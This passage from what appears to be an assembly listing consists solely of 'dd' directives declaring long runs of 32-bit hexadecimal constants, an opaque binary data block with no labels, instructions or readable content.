0A498335Fh, 80C69438h dd 0DE6B6F7Ch, 0A39B31h, 0DFC16EEFh, 82837A18h, 0A9228F0Eh dd 4EE5C02Fh, 5440CFh, 0F7CE122Eh, 859DB646h, 2AD55000h dd 86B86FB7h, 2ECA075Dh, 538801F6h, 0E800FF3Ah, 36074F1h dd 85206Ah, 33A9EA2Dh, 69BA3B6h, 549E0826h, 0F480A003h dd 6C680168h, 81D92D47h, 0B123E0E1h, 2EEF0D01h, 4E1CF7CAh dd 0C7F6C4h, 5EAABE2Fh, 5115B4A0h, 792E1B2Ch, 0E8E26A00h dd 39F666Fh, 0EE7CFDFh, 0D4C03689h, 26004291h, 6C00BD8h dd 23EA10h, 4AF41FF6h, 440AFE22h, 1600387Fh, 0E5AFA37Fh dd 3D765E4h, 0F44705D3h, 0D6A8C453h, 96C1D414h, 0A5ABBB4h dd 7BECC9CDh, 6AD0069h, 8F1982F5h, 79031CF1h, 0EBB990ECh dd 3865E068h, 91C639A1h, 0B4072285h, 3B3FC05Fh, 18262987h dd 3C22D1h, 0AA3F9ECEh, 2E5CB7CAh, 1DA3A88Eh, 0E93C4059h dd 19C8BA0Ch, 1126D200h, 63B2FA0Ah, 0E2D40002h, 66358D8Bh dd 7B1818E3h, 0BDE8F2A2h, 4C88489Dh, 4041761Ch, 9E1666D0h dd 0BC0084C8h, 0C2983E26h, 731B94h, 4ED775ACh, 360FF638h dd 20AAEC07h, 795028B2h, 0CB1FA1h, 0A0536EC4h, 315DC369h dd 0CE992900h, 0C9E1AB59h, 0FBECFF50h, 45A6002Ch, 589A68A9h dd 2300C536h, 9001A5F5h, 0D69E94h, 30D779A8h, 0D4BAC237h dd 43C3C400h, 0E0F32156h, 0A5E43D31h, 0AA1BE800h, 0ED6FD14Fh dd 8E39FD00h, 0A2B515DBh, 579A00A4h, 9E811066h, 0A00AB2Eh dd 0EBDABEA0h, 3F479FCh, 390140F8h, 2CF089D7h, 9800E7E2h dd 0AA05D64Dh, 0F6736A6h, 6B0C94F8h, 0B2DA1880h, 600CF3Ah dd 0D3551527h, 879BA6h, 0FB2512F2h, 0EA0B4B75h, 0E8BF7900h dd 32D9763Eh, 4E191F15h, 0E1B9C0CEh, 5C895388h, 0D03FA901h dd 837D1FC4h, 5FF82A87h, 9FF770CCh, 0F10054FFh, 25B560Ah dd 0E9BDA7h, 0BF2C8BE5h, 3F5079F8h, 7F35F101h, 2029A848h dd 3B68C9F8h, 798066E8h, 43BC630Dh, 70E407ADh, 932CF3F0h dd 803C859Eh, 0D314BEFCh, 1DECE7BDh, 0C01CB0DCh, 0D789171Fh dd 0B800780Ah, 0BD6067B1h, 6736AA41h, 50E64003h, 0F6DACDFBh dd 5E76D800h, 833B40D9h, 7FDB2C44h, 0ABE300F1h, 7808A17Bh dd 630592ECh, 0B97201EAh, 0C349914h, 0A00331A0h, 0D7736h dd 14DC0B73h, 616B79F0h, 51640600h, 215C5276h, 0D7190024h dd 0E9AC780Fh, 8100BD3Dh, 473C7D4Bh, 0BBE089h, 0C7F1D6B3h dd 0AADE6FD9h, 4DA27900h, 0AC907680h, 30FD0065h, 295141DAh dd 0E7FA04AFh, 2B34CC01h, 8A776394h, 7E8D24E0h, 5CB7E06h dd 1158B64Dh, 0D4D90193h, 0A4FD4FC3h, 720038B6h, 0C7DCF58Fh dd 1F76008Dh, 744ED35Fh, 683814CDh, 0F3D20193h, 3189E3ACh dd 4F2F4h, 0EF5884B3h, 3ADA7322h, 9F49BB00h, 0AC5DA56Dh dd 70B600CFh, 0C4A8F2DEh, 0DD00D0DBh, 4D366489h, 0E867257Ah dd 3C710172h, 280E57C0h, 0D007D0F0h, 311E0C00h, 0FE8A5046h dd 518000CAh, 21E0DA36h, 81007695h, 7E65A13Ah, 1779FD7h dd 0BAE40122h, 0E7238204h, 0C10730AEh, 85736E92h, 7446CA20h dd 0DC6D3D2Ch, 55585900h, 0DB28CB88h, 93C1B48h, 7B49Bh dd 0EDF1261Fh, 5C731F94h, 592E80C9h, 77A48F06h, 62D9BA01h dd 0F975F1FCh, 3B0C96ECh, 8B8049BFh, 7012353Bh, 4D186259h dd 365810E3h, 232D01FAh, 5CBEBF67h, 91D0F795h, 3A032F3Fh dd 4C26510Eh, 0ECA8D864h, 508E00C8h, 2BCEB35Bh, 7D39C18Ah dd 13DB12AEh, 51022400h, 3C30A2DFh, 5700E97Ch, 0E0AA0FBFh dd 0C00056FBh, 0ECD0BA8h, 74A8816h, 10C31E9h, 0EA35B09Ch dd 80F3A6E1h, 0D893E848h, 8705BAh, 0D7FA1577h, 365560B2h dd 0FC8DEA00h, 0E7ECB69Fh, 6E5D0322h, 0BF1EADB5h, 497DC80h dd 0CA85D31Ch, 28756780h, 5EAE936h, 5CC8219Bh, 5E0EAAD7h dd 60F240CBh, 1C2D8130h, 40A285A8h, 10B5015Fh, 3E7E0DABh dd 6E683600h, 869CF576h, 0F720C0A4h, 2EB0357Fh, 0CB9D3F00h dd 9F5B3925h, 920E03C5h, 7F0F4DD5h, 0BC14E80h, 41F51507h dd 0E087E2BAh, 657E61D0h, 0C99D30B7h, 1644D571h, 102783Eh dd 173418B9h, 0A3DC3B31h, 0AC570239h, 0A2CF8C1Dh, 3D848C60h dd 0D4F1890Fh, 8AAB60AAh, 0EC886062h, 67C00096h, 0E26C0455h dd 74067FD7h, 0A7B438A6h, 0F7E868h, 7ED39E80h, 64D94F7Ah dd 9BBE6A00h, 90727755h, 8F433EE1h, 18A3FF80h, 2F1C1D07h dd 80569C07h, 50703C27h, 1E75D7Ch, 0FADBC3B7h, 85EA1DAFh dd 3740AA60h, 0BCF3C80h, 87510045h, 0F4E5EFC1h, 0DA005D63h dd 92A2D839h, 4C9FFh, 68B25CD2h, 5FE5B57h, 0ABCC7300h dd 0EA525890h, 38C3386Dh, 0C899EF83h, 580016F4h, 0DD2B8C9Dh dd 3A2DBB46h, 6B80AC53h, 164F84D0h, 36727D10h, 0B18E7000h dd 0DA2B7C3Fh, 1562071Bh, 60E61D64h, 0ABE1B831h, 54671600h dd 0CB6FF0A3h, 961A03FFh, 0FAA52CF1h, 0BC0020D6h, 8469DEF9h dd 1E393345h, 0C1DB1A24h, 0A6B8F707h, 2A57ECCCh, 20B03700h dd 29E89316h, 469A00C4h, 0C35C182Ch, 3C1E5551h, 7396E4DAh dd 8C77E503h, 0D71EB805h, 10B3001Ch, 2A54624Ch, 0AE00A599h dd 5EB8B42h, 7107722Ch, 0BA880182h, 54FD7FC2h, 36D8DCFCh dd 264F220Ch, 33E8A8EBh dd 0B34020BDh, 29435F0h, 0C94B560Ch, 8020F4h, 0DB7F0643h dd 0B0A7D26Ah, 4400EC70h, 420F0DEFh, 73D0FFh, 0ABC08548h dd 0DC2D7112h, 0F5006F7Bh, 0F070FAEAh, 34D922h, 6E733B72h dd 991512BDh, 0A99A560Ch, 60A53884h, 126912Dh, 1E009378h dd 3B9D1F54h, 0DEDF4237h, 0E1D661h, 9AB57D4Ch, 70792F5h dd 0FD0E583Eh, 20800F34h, 0D2CEA1h, 655706DBh, 0C1DEE191h dd 7C4A0500h, 0FA0BA46Eh, 3DD902EEh, 8682EBC3h, 64CAE1C0h dd 18EC5E30h, 73E43302h, 41603AAh, 0C421449Ch, 4EB81D90h dd 0E002E5EAh, 81BEBDD0h, 7001E06Eh, 693D1CC5h, 8F6D1E04h dd 0DBA029A5h, 7E0A39EDh, 5D58DD60h, 0F13A74h, 0B5C15B91h dd 8A9DA98Ch, 2AE87D00h, 80B7AB55h, 2DBA00DBh, 0E44DEF9Ah dd 5403936Ch, 0D07E4295h, 8B38C071h, 3DAF00F2h, 57B0EEA4h dd 0D500F8CFh, 0EDF46BA7h, 0EFF5DCh, 0A346B3B8h, 0CE13EB74h dd 0AB176D18h, 279429h, 76F7597Dh, 11473A58h, 71ECFE0h dd 0B54044A3h, 2D194BEAh, 6E9B0ECCh, 3E18264h, 0ECF273D8h dd 0C00F891h, 0AE939FB8h, 1BE586Ah, 3935E7D2h, 47A0C911h dd 69C5A034h, 0B700F4B2h, 0F57047F7h, 473EA65h, 24872A02h dd 0DF5AC0CBh, 90003316h, 0FB9247BCh, 36144Dh, 57E4EAFCh dd 72527BD0h, 7A3F1B00h, 79EC85D5h, 48A202BEh, 3EE9531h dd 8A9B1E40h, 0CC08B300h, 854937F0h, 0E0501FDh, 0E959FE4Fh dd 0E1BCFD28h, 0E6B4D853h, 6FDE6E03h, 0E03C50FDh, 14765AA5h dd 20F8213Ah, 0B083CCA0h, 0CF4E3F86h, 36D03300h, 8ABB471Dh dd 506B2D30h, 356A8CAh, 0F2804FB2h, 0D0971DBDh, 0B991FE4Ah dd 0BE192900h, 9BD9E60Eh, 94B80Fh, 3CD4EC37h, 3E7AF61h dd 0BBBA7003h, 0D8997EF7h, 3E21E4h, 10E0AB0Fh, 0D78880Ah dd 0C2F79E00h, 17D04A3Fh, 76422833h, 0CEF085h, 159D8961h dd 7B5FA330h, 0B5CC072Ch, 0A45BFF0Ah, 0C07E5780h, 50FE9F3h dd 0A85C3353h, 85D2001Ah, 502362CDh, 6E2DE500h, 7EA9BF79h dd 10172A7h, 0AA0EE19Bh, 0C029AD32h, 0DE7047E2h, 1807E57h dd 391C7B45h, 21A80A7h, 9473888Fh, 7C3FE076h, 0CF50C039h dd 61AA5C46h, 95471F00h, 0EBAE1211h, 0DFF40093h, 0DBB40AB9h dd 8A00CE8Ch, 4AF17E74h, 143EEC7Ah, 0A0A5D576h, 42D6F900h dd 0DB0D2429h, 9312DA00h, 9E23199h, 5B8F00E9h, 0DFB8E859h dd 0C6783934h, 195C4D00h, 0E50258B0h, 0BBAC1DAh, 873766A9h dd 29061141h, 0B63408C0h, 0AF823A54h, 64A80483h, 21B80C79h dd 17F875B4h, 0A2E76D00h, 37C25443h, 0DFFE1DEEh, 70683732h dd 0A6A5B41Fh, 0BFE6C006h, 0F2187D77h, 0D804AF24h, 0DA05527Ch dd 76EA1035h, 1C6CCF00h, 3E4823C1h, 1198F9F8h, 0DC13E8D7h dd 28C0CC3Ch, 4F0FB99Ah, 83CAACA7h, 0E5F5DDBDh, 53E13468h dd 0A2050C5Ah, 6053C87Bh, 0CFBC9704h, 0B89B10C3h, 1F7EB8E4h dd 0F770610h, 197D4FA7h, 1184DE76h, 8717E67h, 8A1E31C8h dd 1D185EC3h, 1B042168h, 5B45734Ah, 5F0C044Ch, 0D1E52025h dd 533C4067h, 9AE8B110h, 8520CB10h, 180A26B7h, 0EB880CADh dd 7A084253h, 43C73085h, 647BDC48h, 7F6F310Ch, 42CF61C3h dd 196334CDh, 33F62468h, 9719185Fh, 3104C08Bh, 0C8F3849h dd 44ECB05h, 2057CC48h, 0C5BB854Fh, 2950D31h, 0DAB47B0Ch dd 42184C27h, 0B49278BFh, 0C0302C2h, 483E87B3h, 22003D2h dd 0E075B974h, 0C0DB3518h, 0E371B419h, 7CF87615h, 0EC7A63Eh dd 9FECB7DCh, 208AB189h, 49282000h, 9D520063h, 0CF78A612h dd 0E41FD36Ch, 0F54F2633h, 0D7A10032h, 72EB336h, 0DA5B27B4h dd 81CB4492h, 0D414061Ch, 0B0A07AABh, 0E25441ACh, 2D004FC8h dd 3DCA097Fh, 6DB939Eh, 42E177E9h, 0BB06046Eh, 790F1EB2h dd 3AEAA1h, 52B60926h, 50C87A8Ch, 2747FC18h, 5C132588h dd 121E2110h, 0E02BC179h, 83B9A8BFh, 0B19445C8h, 1CD8478Eh dd 509B50C7h, 0F9AC5E15h, 48B18760h, 0F038AD6h, 0BADA7F35h dd 7BACCF20h, 0A101FF78h, 0FC1AC379h, 5880231Bh, 2CAF56B3h dd 6D00917Dh, 0B0B26CFEh, 1401D9A1h, 0C83F7B39h, 8695A980h dd 0A0637F5Bh, 0A0FA8250h, 18D7F5D3h, 29150819h, 0F005E77Fh dd 0F382CDBDh, 0B2CC3407h, 0A0C8CBA3h, 0B0EAD375h, 0D2860E2Dh dd 3C208A2Eh, 0B7407B63h, 1E95C800h, 6220EA83h, 0B316075Dh dd 60893565h, 0F347C397h, 0B85CE030h, 5C9DF68h, 0FB4EE553h dd 369C0060h, 0AD9397CAh, 0E914C601h, 0B3F3C7C5h, 911834h dd 0BA72AB69h, 0E2865FD4h, 88802F69h, 4D04683Eh, 0E6826377h dd 409460h, 99578EE0h, 12EC0E19h, 56797879h, 0F5FE5800h dd 17535A54h, 2523A41h, 8754A6A4h, 0D2019278h, 0A080B61Eh dd 76133A60h, 6BE4C809h, 0B60A3A3h, 0D386C090h, 3F18C324h dd 0E1E04CCEh, 2103C7B0h, 54D157A9h, 0AAD014ADh, 206C80E2h dd 96B84018h, 5D1D52F8h, 0CF84BBEh, 29AC9226h, 96BB1EAAh dd 8E84296Dh, 84BC7E8Dh, 80A18AAEh, 0D094253Ch, 7097BF00h dd 2B6214CAh, 3CCB00E9h, 0FF7A6B74h, 98C436B6h, 0CC883E89h dd 0FAD413B8h, 154400F5h, 0BC61D579h, 382C1404h, 0A0870E2Eh dd 2DD3BAA0h, 788A0D1h, 4890A2h, 7E13A865h, 664B951Ch dd 0E4845251h, 140EB30Eh, 8382E9D0h, 0F0B79AADh, 630422h dd 0DEFACBB1h, 6B95AFBDh, 0B21ACF03h, 0C836CC79h, 0C1298Eh dd 7F142426h, 84594D75h, 36BCF250h, 0CDC21A00h, 3C60E0EEh dd 94230E2Ch, 79E1F913h, 24F74F54h, 0D5409F98h, 41CE0926h dd 5889D84Dh, 0F4A0802h, 0C24ECF00h, 0FF7067h, 0FAE61950h dd 965E2E60h, 752A6BFCh, 0AA06C83Ch, 176C65C6h, 60ADF6E9h dd 0A831B0BFh, 0BE2BF9D8h, 0A20130DAh, 1443D54Eh, 7707EB18h dd 6C4CC874h, 706C2039h, 3027D5E2h, 0E35612F3h, 0B008941h dd 662FC81Ch, 1DD14647h, 954DC20h, 9CACC1CDh, 23BAA70h dd 0FC04BD16h, 0DCC07F24h, 0B540E667h, 0C887CDh, 67773A1Fh dd 0A5225E6Bh, 66CBE48h, 0B74CB127h, 0BCBB0051h, 9495B6A0h dd 0FE13ACFFh, 246026C6h, 89EA4Fh, 8E777F0Eh, 5295B2AAh dd 6BAE540Ch, 0D4481Ch, 0F00A6F22h, 3B8B5945h, 5CC76404h dd 8CCBD0E6h, 6A30AB04h, 55EF009Dh, 0B2BBFF56h, 150AC0Ch dd 3BA86C3Ah, 537A1B03h, 33E82D48h, 1F00AE83h, 0E9CBEA0Fh dd 19C9DA5h, 0DE40A9ABh, 240294CFh, 0D90065C4h, 10483EBh dd 76FB3B2h, 0BAABAB4h, 4838EB20h, 8400B75Bh, 0B89F2D12h dd 0B2279382h, 0E0A20624h, 0F0FE3F3Ch, 18F03B12h, 430DA848h dd 248A280Fh, 0D3C4A7h, 0E03954FAh, 0AF0B4202h, 600D65CFh dd 4F62E40h, 4341ED10h, 0CC08909Fh, 210030AEh, 6CD612A4h dd 160B7086h, 3A9B72h, 0E4821584h, 56016048h, 66CCAD1Ch dd 308355BCh, 0E2E36979h, 0AE146871h, 92CB15Eh, 20601B70h dd 0D1372F34h, 15BEF6ECh, 0D0E7E834h, 0F1A88B00h, 9F09EDC5h dd 0A5773276h, 0A4D341C0h, 60382486h, 73BC11CBh, 0C846AB4Fh dd 4CCBE608h, 202F3240h, 1B790186h, 6F17AC30h, 55BFD029h dd 748EA70Ch, 2408Fh, 7A737BFFh, 2AEF680Dh, 0FE7538h, 4539ED0Bh dd 4A57EFDh, 0A073F140h, 4C6CD243h, 55872851h, 60B33231h dd 95190112h, 4D85DBF0h, 9364707Ch, 1D04C49h, 0B7D5FB5Dh dd 40808ED3h, 0F422E3C5h, 0CB3F0339h, 0DD678ADCh, 4F00E8CEh dd 0D09BEF72h, 16A300BEh, 0E3D75C83h, 6D097DE9h, 38646854h dd 54CFFB20h dd 924DC8ABh, 189F9078h, 0B19A2280h, 1D0E769Ch, 49BA604Ah dd 6CFB022Ah, 9F88403Fh, 40E20037h, 77B8B1Fh, 0B7061108h dd 75EBECD5h, 0BBF10051h, 96E377B1h, 0ED078A08h, 0E2CDBEFBh dd 95AB0C80h, 77AA0025h, 2BA1039Ch, 30A08B2Ch, 7462739Eh dd 819FA788h, 4B592048h, 1D8688F0h, 8045F9D6h, 4312E951h dd 0A60F7135h, 3275E454h, 0C9BC3000h, 88B9F3A3h, 0A1281F5Bh dd 0A919E543h, 950921A8h, 5BB2180h, 5E604742h, 2BC7E00Eh dd 0F80980EDh, 638B79F9h, 0A0972898h, 0D6F3100h, 8FC35BABh dd 2334005Eh, 396C7AFCh, 17265790h, 0A926BA94h, 0C0EFE30Ah dd 0C70EAA26h, 0D9088096h, 7194D11h, 41C06598h, 0B91C207Ch dd 1DB00E97h, 8B34DC17h, 867B7600h, 5D61C9F2h, 280044BAh dd 2C36988Ch, 0BC012575h, 0FD7E483Dh, 2081E131h, 0D4308C05h dd 1307E45Ch, 0DF6A5202h, 7661B45h, 17CC1027h, 55029E34h dd 5D6E6401h, 0A3876091h, 9FC500BFh, 6F1B3811h, 0F1C68EDFh dd 4102BAh, 0EA1F83B2h, 2405EED6h, 0F37D520Eh, 0CDE56038h dd 482D0F64h, 78656607h, 0EB11C0D3h, 0AC0008D1h, 2E5F0E3Ch dd 1FB9A435h, 0BBA884h, 0E2D00BE3h, 4600EB11h, 8DC9870Fh dd 67C051h, 0F4E84B89h, 882B35BBh, 7E707801h, 0C984CD98h dd 1B17ECh, 190C3D1h, 442A4F10h, 3311961Fh, 0A8A59EC0h dd 22031Ah, 0D988657h, 0CE2AB6F0h, 4E93F01h, 0D12E0FF7h dd 0C3C0C4FDh, 0EF543EADh, 30531F01h, 4042D3FEh, 7C3245ECh dd 6FAB0126h, 6851FF00h, 0E0A2F159h, 5B1F00E8h, 0F8194E78h dd 88010C2Ch, 0B542BF3h, 60CAC2B7h, 0B246D4h, 0FF838D9Ch dd 0D3E6EAE2h, 0E4840900h, 0A261DE91h, 55DD07B0h, 208FA318h dd 0D7170143h, 0FD243600h, 869A3A13h, 392F0059h, 9CF98A9Dh dd 4300D1EFh, 2774E791h, 3C0F23E9h, 5F800414h, 13D74D2Fh dd 410763DCh, 0FDD5325Dh, 90FAC293h, 422848h, 2F4773Ch dd 907B5F35h, 0D696BC00h, 9854A9EBh, 716400AFh, 3B78FA87h dd 0A00019E2h, 0F62EDE5h, 30030435h, 5750AA39h, 0A70069EAh dd 511D5F3Fh, 76FCF9h, 9210230h, 1EEF0B78h, 0B2CAFB00h dd 28BF96C0h, 41C205FFh, 0C35FFAA9h, 4098061Fh, 8DFF711h dd 70BF8001h, 0EBCCF555h, 86710014h, 0C297EA65h, 181B947Dh dd 0A839BD3Dh, 0F0B80A5h, 42454627h, 75C69E0h, 600066AFh dd 64A3A0B3h, 0B7C93Ch, 1B012031h, 50EE0274h, 88177D37h dd 0E668B8C0h, 61578AAh, 2AF935EAh, 1000308Ch, 65799F87h dd 30B0FB2Bh, 0FE78DDA5h, 480F314Fh, 622753h, 7950D63Bh dd 0CAA31D38h, 0F2113015h, 87FE0BA6h, 93007C78h, 70FB22DFh dd 0E034E9F8h, 202652BAh, 2C81EE07h, 76AF4078h, 0D0006B7Ah dd 0D5DF408Fh, 9851118h, 3BDA2B44h, 0E366EF80h, 80762AAAh dd 5D2028C0h, 0B89DBB88h, 0DE08CA9Ah, 8157601Ch, 0EF5288ECh dd 0C406030h, 74607D61h, 35D150Dh, 0A19F38D4h, 0C463204Fh dd 8799D84h, 0DF30C503h, 44E73C58h, 0D93B80C0h, 684FAB8Fh dd 0E9028884h, 0A028814Ch, 8694BF00h, 0B854A4BDh, 3A4A0ADDh dd 0CC50F0C7h, 0D023FC68h, 6D1838C3h, 0D5ED4095h, 713068ADh dd 15A9ADE0h, 64453D86h, 0EF8B5CC2h, 2B684030h, 80186122h dd 0E9B2F283h, 0CCA0D24Dh, 0C72B33D7h, 0EF0344D0h, 0B835A802h dd 8981C8A1h, 0F08AC880h, 0DC58B00Eh, 0B082AAE7h, 0C727C285h dd 70BFB42Dh, 68D7F814h, 0D00A6087h, 0DE79D0F0h, 2510E718h dd 34B2B048h, 7210C732h, 0CA195048h, 802FC000h, 6B67F071h dd 7CF19DF0h, 10CDDD76h, 0D904A0E3h, 805D38BBh, 6250CEA9h dd 513C922h, 0A29EA059h, 88A02D89h, 0EE805888h, 8C350Ah dd 767E6610h, 0CE008D3Dh, 2D7490E7h, 3C41BD61h, 0DD1DF54Bh dd 46100051h, 6B9D766Dh, 1E200C63h, 0DCC02411h, 541D1428h dd 336C82A0h, 43E0198Ch, 8A427874h, 84597008h, 60EC1D0Eh dd 1505D76h, 0E128F8C5h, 29EAB043h, 0C2F8BD60h, 6C989678h dd 6776C640h, 0A9D21000h, 0CBB830F2h, 0BB7037E7h, 16FAC208h dd 0B037CC47h, 20706FE4h, 84A15D9Fh, 4AF857DEh, 77E0E144h dd 50801847h, 5D0A0F1h, 0A8C9B030h, 94902DDCh, 823839C2h dd 41755660h, 184DD504h, 50C151D0h, 28D08FDh, 1E63C9CAh dd 0B7E058D8h, 54996125h, 0AD3A160h, 28886089h, 0EEB49B40h dd 9F60A091h, 0FD98E1C4h, 5A202880h, 40F0F54Fh, 90CA4E14h dd 0DADA0F0h, 4E71296h, 0D63006B4h, 857EF05Fh, 3C185CE9h dd 8B4BEE0Ch, 126060FAh, 2CF5C520h, 0A10E6370h, 0C34EFE54h dd 52C2C058h, 7DC5B058h, 42BAC496h, 0D3E3A080h, 0B2043C94h dd 8BC7063Ah, 0D0EF011Ch, 0A41CB0F5h, 0AB588080h, 7EB43073h dd 0F4DFE031h, 0FB30E409h, 26DC00FEh, 3A50F3AFh, 605795CCh dd 0C29FB301h, 40DB9892h, 0E40D10B8h, 0D505707Fh, 1379F0CAh dd 192BA801h, 0D82250F5h, 15DD5D80h, 0C4A8F188h, 94A7B36Fh dd 0B12C4003h, 1828C6CEh, 0D0B23780h, 18A5BD93h, 3DC5BB0Fh dd 6006F790h, 90E409A0h, 10140874h, 0E0A0EDBBh, 0F2DC262Ch dd 0C0F4A023h, 0CA640213h, 0F0FB9750h, 3A420216h, 0C99DE40Ch dd 62CFCC81h, 0C19C22CAh, 7601A3D9h, 302929B8h, 0A14A8110h dd 84D445h, 0A3F849E0h, 0CAEA91DCh, 0A2D60E0Bh, 0B77F8563h dd 0D8CBBC0Ah, 5E607429h, 202FECE0h, 6315C873h, 0C150E4F5h dd 41E2A726h, 802805C7h, 70F5BC73h, 0C6B18C28h, 60C9F963h dd 90EEA0A1h, 766B050Eh, 6A7E91Dh, 8A4A8F4h, 3ED16F20h dd 3C574A23h, 2A0CD239h, 0C05086BEh, 0F2A33507h, 0F05A2410h dd 0D0405018h, 0CA540560h, 384A2A70h, 310AEEF8h, 0C4928AB7h dd 0F2929C9Ch, 581CA42Ch, 296E0127h, 84D9FD00h, 0D3527C5Dh dd 0B4E58050h, 0A0EA68DCh, 486DE0B4h, 96131C88h, 7E7438BFh dd 1B0DA400h, 2C86B7DFh, 40F40789h, 40F3B5F7h, 58299BD7h dd 1416771Fh, 0FA36BC40h, 4EF759h, 9C7CE951h, 7DCFDBBh dd 0D733AB00h, 5B46ACCAh, 153D01FFh, 3EBB1D96h, 86CEF49Bh dd 0FECF4C00h, 1A81758h, 0ACFC01DEh, 0E59CC95Fh, 1D7CE008h dd 5C000D7Ch, 974F8018h, 0EA2F12h, 0FB65901Ch, 0E952263Ch dd 66B8BC1Eh, 8377C1Ch, 0C0677083h, 9415Ch, 3FDB57A5h dd 0D13277A6h, 584810CFh, 0DC52FB0h, 64909CFDh, 0C0E50710h dd 4248F0FCh, 0DD155777h, 8164BCDBh, 0B1F8ABB0h, 4159EC11h dd 0BA1CF790h, 634107D0h, 1716774Fh, 644631E0h, 803C51A0h dd 0E88B02B8h, 146ECBBCh, 30C9DCE9h, 26E601C0h, 86FA0376h dd 0D0380C3Dh, 2A747FBCh, 0C417D701h, 54E47CD0h, 0F8D18C40h dd 63C5E859h, 70947867h, 0BE3ED7E0h, 613D1F03h, 0B9B7A56Dh dd 84D35825h, 0D79C79C1h, 0D833C4Ch, 9F64BF13h, 2092F9D8h dd 6C611700h, 2E569708h, 885F8840h, 7E3C28E8h, 0EA9C02B4h dd 0CF97427Bh, 51702898h, 62400676h, 20F648CCh, 94D0973Ah dd 0D81C61D7h, 2865B7h, 1C9664Ch, 4F736CFCh, 8C6F8257h dd 2822C7C8h, 0F708C203h, 1840D83Bh, 0F407125Fh, 0D0CE7B3Ch dd 0DDEC3941h, 108770F1h, 21F1591Ch, 448829D7h, 6D8C594h dd 0D0F7195Ch, 600DB931h, 17D00E24h, 2877881h, 59F205B7h dd 0A481CF77h, 20654637h, 8A66FF4Ch, 0F8589D48h, 0F42D3EEAh dd 0D0E16902h, 8C4360FCh, 838CFEA1h, 4F76A118h, 1F10A6F7h dd 67441DCh, 8813EE7Ch, 58FD2E01h, 0D0DFB057h, 0A30E51E0h dd 875BDAF4h, 14487BE4h dd 1714F0D6h, 57398886h, 9E9718E2h, 703C9C40h, 37183490h dd 5C400F8Eh, 0E4B8C503h, 88006F9h, 0E6F6820h, 18201F08h dd 30FCC637h, 0A8CC5E76h, 33575890h, 0E4085D8Fh, 0F5377012h dd 4BD2D05Ch, 18C0000Ch, 810BEE17h, 0EF098964h, 5A7402CCh dd 0D7D441F3h, 48A00C34h, 0AD1D7853h, 85FC0089h, 0DDD149Ah dd 0B9185063h, 345CE154h, 0E87C8C20h, 2EA7810h, 57A624B3h dd 0F4405DC5h, 50CC588Eh, 48790986h, 0AD19F46Ch, 0F7F87833h dd 0D95B1CE0h, 0DCBD1F24h, 1F03350h, 0CF7C9FCCh, 20166C86h dd 10547728h, 249272F4h, 0FCE83260h, 3DDCE28Ah, 0F8EE427Ch dd 5CF41700h, 0EC901006h, 0B0F33128h, 0FC763E28h, 0E1E87351h dd 21218A7Dh, 8E12A40Fh, 49F73402h, 0AC304185h, 2A1070A4h dd 2F9303DCh, 26EADCDBh, 58214037h, 305007F6h, 10697CF7h dd 0BC24C96Ah, 0DC0A64D6h, 4898E454h, 90B11C10h, 0FCBC3134h dd 205FC491h, 0F4A3CB14h, 0F08368A2h, 91877B7h, 5C205A88h dd 49349059h, 6B197034h, 348B3016h, 362653Ch, 6F9BAB0h dd 37123013h, 0CC0927DFh, 177883CEh, 8D06C4A7h, 2E8605Ch dd 731CDE01h, 0B33CC960h, 646050A8h, 80FA5817h, 0B7BBBC1Ch dd 0A097A53Ah, 0E4E84C29h, 222FC12h, 5BE03C08h, 63DE0040h dd 9865E2E9h, 3A81C500h, 0ACD906Ch, 2BF78C86h, 0B0A1189Ch dd 8748F6B7h, 1C9F2930h, 4A36A382h, 2C786827h, 97C0A04Eh dd 0A6400B89h, 202E5D37h, 7CF00B80h, 20A4AD7Dh, 8F29710Eh dd 4C78B860h, 0C9C72B49h, 986D8134h, 9937A8h, 0E2C93EECh dd 0AC884C7Ch, 0F3D9570Ch, 0F4A02C08h, 1850AEB7h, 20FB62F0h dd 18989644h, 707A3C26h, 74E8263Ah, 50147391h, 7431E086h dd 34499740h, 0F54A474h, 20C50EFCh, 0D406091Bh, 2468FB0Ch dd 1834F040h, 0E037F8CAh, 443893FDh, 876A7844h, 4F04C04h dd 540C29C5h, 0A34DFC60h, 49B12278h, 3024580Ch, 0D0243A00h dd 44AD9784h, 874ABD18h, 78AA59A4h, 5677923Ch, 542C144Ch dd 1885D718h, 88984517h, 4C535738h, 15931074h, 6056B12h dd 98FA0440h, 0F7E02363h, 31C901AFh, 0CD3CDBBDh, 3EA4403Fh dd 9C18DE03h, 0EE48023Bh, 8190C41Eh, 0EFC8C32Eh, 0D931087Ch dd 0E86C182Dh, 1CF5FC21h, 0B20F1085h, 5E18C3DBh, 987DA826h dd 0A049CB91h, 73143374h, 78129798h, 7004EF9Ch, 6C81D8DCh dd 0A7EF617Ch, 8C047C5h, 7850541Ch, 2AFA31E9h, 346FA420h dd 68985674h, 17501B3Ah, 1C45D9DCh, 50C25335h, 0BC80EB93h dd 0C4BACD3h, 3B1D9C10h, 5E03B138h, 0C48F5CE9h, 37C2A1FDh dd 0F5E7C0F3h, 0B7DC24F1h, 0D2DF80A4h, 0A7191D1Fh, 2CB0A65Ch dd 6A0EE49Ch, 9B178075h, 21D11E5h, 3D14D08Fh, 0E08FDEA8h dd 1C83314Eh, 10123635h, 5404D253h, 881A14Fh, 45F2B142h dd 0A8338198h, 29373BEh, 1E4450Ch, 799A7819h, 0F97C71C6h dd 0B71470EAh, 51CFA5Ch, 0E8804F37h, 0C303C8CBh, 6D2F3C92h dd 75CC3809h, 49A80EF5h, 0E87C0584h, 5F428045h, 203FBC0Ah dd 85E68760h, 31E49258h, 0F770956Ch, 0DC1C30F2h, 33A87E02h dd 6061DA97h, 74FC2E08h, 460ACB7h, 89DBECEAh, 8CF48092h dd 0C91AC81Dh, 87C8D6DCh, 0BC72E7B0h, 0B70CE1D7h, 0A58AC072h dd 264420A5h, 2C0C842Ch, 0B8A05BACh, 6E62D46Bh, 0C0554CF0h dd 988D97C8h, 0B1772CC0h, 1F9397FCh, 67220C54h, 74908688h dd 0D8A5BC26h, 0FAE8F706h, 0CCAE4D28h, 8608D637h, 6F01899h dd 17251498h, 67CC00C2h, 2437A508h, 934C8D7h, 1C023FA1h dd 0C8C05953h, 50908118h, 1230AE48h, 0C481711Ch, 308A3A91h dd 0BA06066h, 0D01CDACBh, 5AEC4006h, 90D80E1Bh, 0F7C8C472h dd 82CD27Dh, 917758C0h, 372C50B0h, 0DC0B141Ch, 0C348AADh dd 10E76258h, 120187F0h, 0E049190Ch, 94940B31h, 34CA0480h dd 44ADA5F9h, 0E8856E10h, 0CC81828h, 38707A05h, 1F28CC28h dd 0AE00A804h, 